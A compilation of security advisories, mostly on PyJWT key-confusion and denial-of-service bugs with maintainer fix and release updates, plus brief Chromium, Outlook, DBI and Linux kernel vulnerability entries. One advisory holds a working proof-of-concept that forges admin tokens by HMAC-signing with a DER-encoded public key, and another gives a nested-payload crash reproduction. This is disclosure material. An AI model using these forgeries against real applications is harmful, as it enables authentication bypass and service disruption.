An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.
---
Suggested Fix
Option A (minimal): Replace lstrip() with an explicit strip of known BOM prefixes before the JSON detection check:
python Strip common BOM prefixes in addition to ASCII whitespace BOMPREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff") stripped = keybytes for bom in BOMPREFIXES: if stripped.startswith(bom): stripped = stripped[len(bom):] break stripped = stripped.lstrip()
Option B (more robust): Use json.loads() as the detection mechanism instead of a byte-prefix check, so encoding variants and whitespace are handled by the JSON parser:
python try: testobj = json.loads(keybytes.strip()) if isinstance(testobj, dict) and "kty" in testobj: raise InvalidKeyError("The specified key is an asymmetric key...") except (ValueError, UnicodeDecodeError): pass
Option B is preferred because it is resilient to any future encoding variant.
---
Maintainer update — 2026-09-09
We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.
The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.preparekey() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.
The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.
The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.
Classification update — 2026-09-10
We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
Summary
HMACAlgorithm.preparekey blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.
An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.
The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.
Details
The guard is at jwt/algorithms.py:331:
python if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )
Both helpers are text matchers. Neither one parses the key.
- jwt/utils.py:126, ispemformat, runs a regex for ----[- ]BEGIN ...----. - jwt/utils.py:141, issshkey, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.
A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so preparekey returns it unchanged and it becomes the HMAC secret.
There is no DER handling anywhere in the package. grep -rni "\bDER\b|loadder" jwt/ tests/ returns nothing.
This affects three encodings that are all blocked in their PEM form today:
- DER SubjectPublicKeyInfo - DER PKCS#1 - DER encoded X.509 certificate
History of this guard:
- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH. - Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents. - DER has never been covered.
Applications that use PyJWK or PyJWKClient are not affected. jwt/apijws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.preparekey on that path.
Suggested fix: try to parse the bytes as a key and reject if parsing works. For example loadderpublickey, loadderprivatekey and loadderx509certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.
PoC
Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.
console pip install "pyjwt==2.13.0" cryptography python poc.py
No special configuration is needed. The script builds its own key.
python import base64 import hashlib import hmac import json
import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
pub = rsa.generateprivatekey(publicexponent=65537, keysize=2048).publickey() pem = pub.publicbytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) der = pub.publicbytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo) derpkcs1 = pub.publicbytes(Encoding.DER, PublicFormat.PKCS1)
def b64(raw): return base64.urlsafeb64encode(raw).rstrip(b"=")
def forge(secret): # The attacker does not use PyJWT. They only need the public key bytes. head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) body = b64(json.dumps({"user": "admin", "role": "admin"}).encode()) signinginput = head + b"." + body sig = hmac.new(secret, signinginput, hashlib.sha256).digest() return (signinginput + b"." + b64(sig)).decode()
PEM form is rejected, as expected since CVE-2022-29217. try: jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"]) except jwt.exceptions.InvalidKeyError as exc: print("PEM rejected:", exc)
Same key, DER form. The forged token verifies. print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"])) print("DER PKCS#1 accepted:", jwt.decode(forge(derpkcs1), derpkcs1, algorithms=["RS256", "HS256"]))
Output:
PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s DER SPKI accepted: {'user': 'admin', 'role': 'admin'} DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}
The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.
We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.
Impact
Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.
Who is affected: applications that verify tokens with an asymmetric public key, also list an HS\ algorithm pass that public key to jwt.decode as DER bytes.
What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.
What limits it: the application must already be in the mixed HS\ and RS\ misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.
Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.preparekey now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
Summary
PyJWKClient.getsigningkeyfromjwt(token) — the first step of the JWKS verification flow documented in docs/usage.rst — must decode a token's payload before its signature can be checked, via jwt.apijwt.decodecomplete(token, options={"verifysignature": False}). That call parses the payload with json.loads in PyJWT.decodepayload (jwt/apijwt.py:297-300), whose except clause catches only ValueError. A payload that is valid JSON but nested ~20,000 levels deep makes json.loads raise RecursionError, which is not a ValueError and escapes as a raw, undocumented exception type — not DecodeError, InvalidTokenError, or PyJWTError, so every documented error-handling pattern in docs/usage.rst misses it.
The token needs no valid signature and no network access — the crash happens during payload parsing, before the kid is even looked up. A single unauthenticated ~50KB request crashes the caller's auth handler (HTTP 500 / dead worker), repeatably. The same path is reachable through plain jwt.decode(token, options={"verifysignature": False}) too.
Notably, this project already fixed the identical bug class for the JWS header path — PyJWS.load catches (ValueError, RecursionError) and wraps it in DecodeError (jwt/apijws.py:360-361), and CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and malformed JWS/JWK input without uncaught recursion errors." The payload path — the one part of a forged token an unauthenticated attacker fully controls — was left catching ValueError alone, so that security fix does not fully hold.
A second, related instance: PyJWKClient.fetchdata (jwt/jwksclient.py:168) parses a JWKS endpoint's response with json.load(response) inside a try that only catches (URLError, TimeoutError, http.client.HTTPException) — a deeply-nested JSON response from a JWKS endpoint raises the same raw RecursionError, uncaught entirely (worse than the payload path, which at least caught plain ValueError).
Affected versions: confirmed present in the current release, 2.14.0, and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).
Reproduction
python import base64, json, jwt
def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) payload = b64url(b"[" 20000 + b"]" 20000) token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()
jwt.decode(token, options={"verifysignature": False}) raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)
Control: the same deeply-nested structure moved into the token's header instead of its payload is correctly converted to jwt.DecodeError by the already-hardened jwt/apijws.py:360 — confirming the payload path is specifically the missed half of the v2.14.0 hardening, not a general gap.
Impact assessment
Unauthenticated denial-of-service via unhandled exception on an auth path. Not an auth bypass — rated medium. With signature verification enabled, this parse runs after verifysignature, so only the pre-verification paths (getsigningkeyfromjwt, explicit verifysignature=False) are attacker-reachable pre-auth; the JWKS-endpoint variant requires control of (or a MITM on) the configured JWKS endpoint rather than being reachable from an arbitrary client token.
Suggested fix
In jwt/apijwt.py:299, change except ValueError as e: to except (ValueError, RecursionError) as e:, mirroring jwt/apijws.py:360 exactly. In jwt/jwksclient.py, add the same (ValueError, RecursionError) handling around json.load(response) in fetchdata, raising PyJWKClientError (consistent with the method's existing documented error contract). A patch implementing both, verified against the full test suite (457 passed, 4 skipped — pre-existing, environment-related) and against the reproduction above (now correctly raises DecodeError), is attached (fix.patch).
Discovery method
Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep) — a semantic code-retrieval tool that surfaces every other call site of a symbol alongside relevance-ranked results, which is what surfaced the already-hardened header path as the direct comparison here — paired with an LLM coding agent (GLM-5.3) run as an open-ended security review of this repository. Independently reproduced against the exact commit above before this report was written. Happy to share the full session transcript on request.
Disclosure status
Not shared with any other party or published. Submitting through this private channel per the project's stated security policy; no planned public/conference disclosure ahead of a coordinated timeline.
---
Maintainer triage update (2026-09-22)
Confirmed finding and scope
We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verifysignature=False and PyJWKClient.getsigningkeyfromjwt, where payload parsing occurs before key lookup.
The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.
The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.
Version and remediation status
Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.
Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patchedversions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patchedversions and advisory lifecycle can be updated in a separate approved batch.
---
Maintainer remediation update (2026-09-23)
The confirmed payload-parser finding has been fixed on master. Commit 5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive payload parse failure to the expected DecodeError; commit 9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests deterministic across supported Python versions. This update supersedes the 2026-09-22 remediation-status statement that the fix had not landed.
The original pre-verification payload reproducer and the PyJWKClient.getsigningkeyfromjwt path were covered by regression tests. The exact landed tree passed the full 39-environment local tox matrix and GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact remains an uncaught request-level exception in affected releases; there is still no evidence of process termination, persistent resource exhaustion, authentication bypass, or confidentiality or integrity impact.
The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest released version is 2.14.0, which predates these commits; no released patched version exists yet, so patchedversions remains unset. CVSS v3.1 5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from triage to private draft. The next lifecycle step is a new supported 2.x release containing the fix, followed by separately approved patched-version and publication updates after release verification.
---
Maintainer release update (2026-09-23)
PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.
The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.
The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT getsigningkeyfromjwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.
DBI versions before 1.654 for Perl incorrectly treat numeric values as strings in FetchHashKeyName
Chromium CVE-2026-95351: Use after free in Views
Chromium CVE-2026-95372: Use after free in Chromecast
Integer overflow or wraparound in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
In the Linux kernel, the following vulnerability has been resolved:
staging: rtl8723bs: fix mismatched free of HalData in rtwsdioif1init()
padapter->HalData is allocated via vzalloc(), but incorrectly freed using kfree() in the rtwsdioif1init() error path. Using kfree() to release this vmalloc-backed buffer can lead to memory corruption.
Use rtwhaldatadeinit() to pair the free correctly and free HalData with vfree().
The bug was first flagged by an experimental static analysis tool we are developing for kernel memory-management bugs. Manual inspection confirms that the issue is still present in current mainline.
An x8664 allyesconfig build showed no new warnings. As we do not have suitable RTL8723BS SDIO hardware to test with, no runtime testing was able to be performed.
In the Linux kernel, the following vulnerability has been resolved:
wifi: iwlwifi: mei: pass correct argument to function
The first argument to iwlmeiwritecyclicbuf() should be the cldev but the qhead pointer is passed instead. Fix it.
In the Linux kernel, the following vulnerability has been resolved:
net: hsr: free learned nodes on device setup failure
hsrdevfinalize() can fail after a lower-device RX handler has already been registered (slave A is added before the failable slave B and interlink adds). RX handlers run in softirq regardless of the master's state, so frames received in that window can learn dynamic nodes into nodedb, and the error unwind never releases them.
Free both owned dynamic databases in the unwind, mirroring hsrdellink(). proxynodedb is provably empty on every current error exit (only interlink RX feeds it, and the interlink add is the last failable step) and is freed for symmetry. The order is safe: hsrdelport() unregisters each RX handler with synchronizenet() before hsrdelnodes() runs, which removes remaining entries with listdelrcu() and defers their release with callrcu() for readers already under RCU.